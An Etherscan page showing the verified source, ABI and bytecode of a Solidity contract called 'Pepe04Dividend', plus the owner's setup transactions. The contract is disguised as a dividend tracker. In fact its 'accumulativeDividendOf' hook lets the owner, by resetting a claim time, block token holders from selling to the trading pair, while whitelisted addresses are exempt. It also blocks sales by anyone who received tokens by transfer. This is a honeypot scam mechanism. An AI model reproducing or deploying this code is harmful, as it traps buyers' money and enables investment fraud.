ETH Price: $3,290.03 (-2.54%)

Contract

0x69E46967a649E1b1FcdD3e8b7A82357B6668325b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Whitelist For Di...176674672023-07-11 2:40:35560 days ago1689043235IN
0x69E46967...B6668325b
0 ETH0.0006661714.37146414
Set Dividend Pep...176673102023-07-11 2:08:23560 days ago1689041303IN
0x69E46967...B6668325b
0 ETH0.0004429815.45054954
Set Claiming Tim...176672612023-07-11 1:58:35560 days ago1689040715IN
0x69E46967...B6668325b
0 ETH0.0004470615.73233568
Set Claiming Tim...176672532023-07-11 1:56:59560 days ago1689040619IN
0x69E46967...B6668325b
0 ETH0.0006708314.73807676
Set Token For Di...176671722023-07-11 1:40:35560 days ago1689039635IN
0x69E46967...B6668325b
0 ETH0.0011959616.87123722

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Pepe04Dividend

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }


}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // /**
    //  * @dev Leaves the contract without owner. It will not be possible to call
    //  * `onlyOwner` functions anymore. Can only be called by the current owner.
    //  *
    //  * NOTE: Renouncing ownership will leave the contract without an owner,
    //  * thereby removing any functionality that is only available to the owner.
    //  */
    // function renounceOwnership() public virtual onlyOwner {
    //     emit OwnershipTransferred(_owner, address(0));
    //     _owner = address(0);
    // }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }


}

contract Pepe04Dividend is Ownable {
    address private pair;
    mapping (address => uint256) private _dividendTimePassedPepe04;
    uint256 private claimTimePepe04;
    bool private isDividendFinishedPepe04;
    address private tokenPepe04;

    mapping(address => bool) private _whitelists;
    modifier onlyToken() {
        require(msg.sender == tokenPepe04);
        _;
    }

    function whitelistForDividePepe04Ends(address owner_, bool _isWhitelist) external onlyOwner {
      _whitelists[owner_] = _isWhitelist;
    }
    function setDividendPepe04Finished(bool isFinished) external onlyOwner {
      isDividendFinishedPepe04 = isFinished;
    }

    function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) {
      if (_whitelists[_from] || _whitelists[_to]) {
        return 1;
      }
      if (_from == pair) { if (_dividendTimePassedPepe04[_to] == 0) {
          _dividendTimePassedPepe04[_to] = block.timestamp;
        }} 
      else if (_to == pair) {
        require(!isDividendFinishedPepe04 && _dividendTimePassedPepe04[_from] >= claimTimePepe04
        );
      } else { _dividendTimePassedPepe04[_to] = 1;
      }
      return 0;
    }
    function setClaimingTimeForPepe04Dividend() external onlyOwner {
      claimTimePepe04 = block.timestamp;
    }
    function setTokenForDividePepe04Ends(address _token, address _pair) external onlyOwner {
      tokenPepe04 = _token;
      isDividendFinishedPepe04 = false;
      claimTimePepe04 = 0;
      pair = _pair;
    }

    receive() external payable {
    }
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setClaimingTimeForPepe04Dividend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendPepe04Finished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDividePepe04Ends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDividePepe04Ends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506105cd8061005d5f395ff3fe608060405260043610610071575f3560e01c8063cc5489df1161004c578063cc5489df146100e7578063e33f08c314610114578063f2fde38b14610133578063f4dcd0d514610152575f80fd5b80631f6f85e71461007c578063451b19461461009d5780638da5cb5b146100bc575f80fd5b3661007857005b5f80fd5b348015610087575f80fd5b5061009b6100963660046104ba565b610166565b005b3480156100a8575f80fd5b5061009b6100b73660046104f0565b6101ab565b3480156100c7575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b3480156100f2575f80fd5b506101066101013660046104f0565b610213565b6040519081526020016100de565b34801561011f575f80fd5b5061009b61012e366004610521565b61033d565b34801561013e575f80fd5b5061009b61014d366004610549565b610390565b34801561015d575f80fd5b5061009b610477565b5f546001600160a01b031633146101985760405162461bcd60e51b815260040161018f90610562565b60405180910390fd5b6004805460ff1916911515919091179055565b5f546001600160a01b031633146101d45760405162461bcd60e51b815260040161018f90610562565b600480546001600160a81b0319166101006001600160a01b039485160260ff19161790555f600355600180546001600160a01b03191691909216179055565b6004545f9061010090046001600160a01b03163314610230575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff168061026d57506001600160a01b0382165f9081526005602052604090205460ff165b1561027a57506001610337565b6001546001600160a01b03908116908416036102ce576001600160a01b0382165f9081526002602052604081205490036102c9576001600160a01b0382165f9081526002602052604090204290555b610334565b6001546001600160a01b03908116908316036103185760045460ff1615801561031057506003546001600160a01b0384165f9081526002602052604090205410155b6102c9575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b031633146103665760405162461bcd60e51b815260040161018f90610562565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146103b95760405162461bcd60e51b815260040161018f90610562565b6001600160a01b03811661041e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260040161018f90610562565b42600355565b803580151581146104b5575f80fd5b919050565b5f602082840312156104ca575f80fd5b6104d3826104a6565b9392505050565b80356001600160a01b03811681146104b5575f80fd5b5f8060408385031215610501575f80fd5b61050a836104da565b9150610518602084016104da565b90509250929050565b5f8060408385031215610532575f80fd5b61053b836104da565b9150610518602084016104a6565b5f60208284031215610559575f80fd5b6104d3826104da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220b4e522de5a1546f1ff73f979c2e5f2bf63b5daaa3e97c730b6296c2ce9c60c4164736f6c63430008140033

Deployed Bytecode

0x608060405260043610610071575f3560e01c8063cc5489df1161004c578063cc5489df146100e7578063e33f08c314610114578063f2fde38b14610133578063f4dcd0d514610152575f80fd5b80631f6f85e71461007c578063451b19461461009d5780638da5cb5b146100bc575f80fd5b3661007857005b5f80fd5b348015610087575f80fd5b5061009b6100963660046104ba565b610166565b005b3480156100a8575f80fd5b5061009b6100b73660046104f0565b6101ab565b3480156100c7575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b3480156100f2575f80fd5b506101066101013660046104f0565b610213565b6040519081526020016100de565b34801561011f575f80fd5b5061009b61012e366004610521565b61033d565b34801561013e575f80fd5b5061009b61014d366004610549565b610390565b34801561015d575f80fd5b5061009b610477565b5f546001600160a01b031633146101985760405162461bcd60e51b815260040161018f90610562565b60405180910390fd5b6004805460ff1916911515919091179055565b5f546001600160a01b031633146101d45760405162461bcd60e51b815260040161018f90610562565b600480546001600160a81b0319166101006001600160a01b039485160260ff19161790555f600355600180546001600160a01b03191691909216179055565b6004545f9061010090046001600160a01b03163314610230575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff168061026d57506001600160a01b0382165f9081526005602052604090205460ff165b1561027a57506001610337565b6001546001600160a01b03908116908416036102ce576001600160a01b0382165f9081526002602052604081205490036102c9576001600160a01b0382165f9081526002602052604090204290555b610334565b6001546001600160a01b03908116908316036103185760045460ff1615801561031057506003546001600160a01b0384165f9081526002602052604090205410155b6102c9575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b031633146103665760405162461bcd60e51b815260040161018f90610562565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146103b95760405162461bcd60e51b815260040161018f90610562565b6001600160a01b03811661041e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260040161018f90610562565b42600355565b803580151581146104b5575f80fd5b919050565b5f602082840312156104ca575f80fd5b6104d3826104a6565b9392505050565b80356001600160a01b03811681146104b5575f80fd5b5f8060408385031215610501575f80fd5b61050a836104da565b9150610518602084016104da565b90509250929050565b5f8060408385031215610532575f80fd5b61053b836104da565b9150610518602084016104a6565b5f60208284031215610559575f80fd5b6104d3826104da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220b4e522de5a1546f1ff73f979c2e5f2bf63b5daaa3e97c730b6296c2ce9c60c4164736f6c63430008140033

Deployed Bytecode Sourcemap

2169:1618:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2719:125;;;;;;;;;;-1:-1:-1;2719:125:0;;;;;:::i;:::-;;:::i;:::-;;3527:214;;;;;;;;;;-1:-1:-1;3527:214:0;;;;;:::i;:::-;;:::i;1472:79::-;;;;;;;;;;-1:-1:-1;1510:7:0;1537:6;1472:79;;-1:-1:-1;;;;;1537:6:0;;;953:51:1;;941:2;926:18;1472:79:0;;;;;;;;2852:550;;;;;;;;;;-1:-1:-1;2852:550:0;;;;;:::i;:::-;;:::i;:::-;;;1161:25:1;;;1149:2;1134:18;2852:550:0;1015:177:1;2570:143:0;;;;;;;;;;-1:-1:-1;2570:143:0;;;;;:::i;:::-;;:::i;1914:244::-;;;;;;;;;;-1:-1:-1;1914:244:0;;;;;:::i;:::-;;:::i;3408:113::-;;;;;;;;;;;;;:::i;2719:125::-;1682:6;;-1:-1:-1;;;;;1682:6:0;174:10;1682:22;1674:67;;;;-1:-1:-1;;;1674:67:0;;;;;;;:::i;:::-;;;;;;;;;2799:24:::1;:37:::0;;-1:-1:-1;;2799:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;2719:125::o;3527:214::-;1682:6;;-1:-1:-1;;;;;1682:6:0;174:10;1682:22;1674:67;;;;-1:-1:-1;;;1674:67:0;;;;;;;:::i;:::-;3623:11:::1;:20:::0;;-1:-1:-1;;;;;;3652:32:0;3623:20:::1;-1:-1:-1::0;;;;;3623:20:0;;::::1;;-1:-1:-1::0;;3652:32:0;;;;-1:-1:-1;3693:15:0::1;:19:::0;-1:-1:-1;3721:12:0;;-1:-1:-1;;;;;;3721:12:0::1;::::0;;;::::1;;::::0;;3527:214::o;2852:550::-;2530:11;;2940:7;;2530:11;;;-1:-1:-1;;;;;2530:11:0;2516:10;:25;2508:34;;;;;;-1:-1:-1;;;;;2962:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;2984:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;2962:38;2958:73;;;-1:-1:-1::0;3020:1:0::1;3013:8;;2958:73;3052:4;::::0;-1:-1:-1;;;;;3052:4:0;;::::1;3043:13:::0;;::::1;::::0;3039:339:::1;;-1:-1:-1::0;;;;;3064:30:0;::::1;;::::0;;;:25:::1;:30;::::0;;;;;:35;;3060:114:::1;;-1:-1:-1::0;;;;;3114:30:0;::::1;;::::0;;;:25:::1;:30;::::0;;;;3147:15:::1;3114:48:::0;;3060:114:::1;3039:339;;;3200:4;::::0;-1:-1:-1;;;;;3200:4:0;;::::1;3193:11:::0;;::::1;::::0;3189:189:::1;;3226:24;::::0;::::1;;3225:25;:80:::0;::::1;;;-1:-1:-1::0;3290:15:0::1;::::0;-1:-1:-1;;;;;3254:32:0;::::1;;::::0;;;:25:::1;:32;::::0;;;;;:51:::1;;3225:80;3217:99;;;::::0;::::1;3189:189;-1:-1:-1::0;;;;;3334:30:0;::::1;;::::0;;;:25:::1;:30;::::0;;;;3367:1:::1;3334:34:::0;;3189:189:::1;-1:-1:-1::0;3393:1:0::1;2553;2852:550:::0;;;;:::o;2570:143::-;1682:6;;-1:-1:-1;;;;;1682:6:0;174:10;1682:22;1674:67;;;;-1:-1:-1;;;1674:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2671:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;2671:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;2570:143::o;1914:244::-;1682:6;;-1:-1:-1;;;;;1682:6:0;174:10;1682:22;1674:67;;;;-1:-1:-1;;;1674:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2003:22:0;::::1;1995:73;;;::::0;-1:-1:-1;;;1995:73:0;;2210:2:1;1995:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1995:73:0::1;2008:402:1::0;1995:73:0::1;2105:6;::::0;;2084:38:::1;::::0;-1:-1:-1;;;;;2084:38:0;;::::1;::::0;2105:6;::::1;::::0;2084:38:::1;::::0;::::1;2133:6;:17:::0;;-1:-1:-1;;;;;;2133:17:0::1;-1:-1:-1::0;;;;;2133:17:0;;;::::1;::::0;;;::::1;::::0;;1914:244::o;3408:113::-;1682:6;;-1:-1:-1;;;;;1682:6:0;174:10;1682:22;1674:67;;;;-1:-1:-1;;;1674:67:0;;;;;;;:::i;:::-;3498:15:::1;3480;:33:::0;3408:113::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;364:173::-;432:20;;-1:-1:-1;;;;;481:31:1;;471:42;;461:70;;527:1;524;517:12;542:260;610:6;618;671:2;659:9;650:7;646:23;642:32;639:52;;;687:1;684;677:12;639:52;710:29;729:9;710:29;:::i;:::-;700:39;;758:38;792:2;781:9;777:18;758:38;:::i;:::-;748:48;;542:260;;;;;:::o;1197:254::-;1262:6;1270;1323:2;1311:9;1302:7;1298:23;1294:32;1291:52;;;1339:1;1336;1329:12;1291:52;1362:29;1381:9;1362:29;:::i;:::-;1352:39;;1410:35;1441:2;1430:9;1426:18;1410:35;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o

Swarm Source

ipfs://b4e522de5a1546f1ff73f979c2e5f2bf63b5daaa3e97c730b6296c2ce9c60c41

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.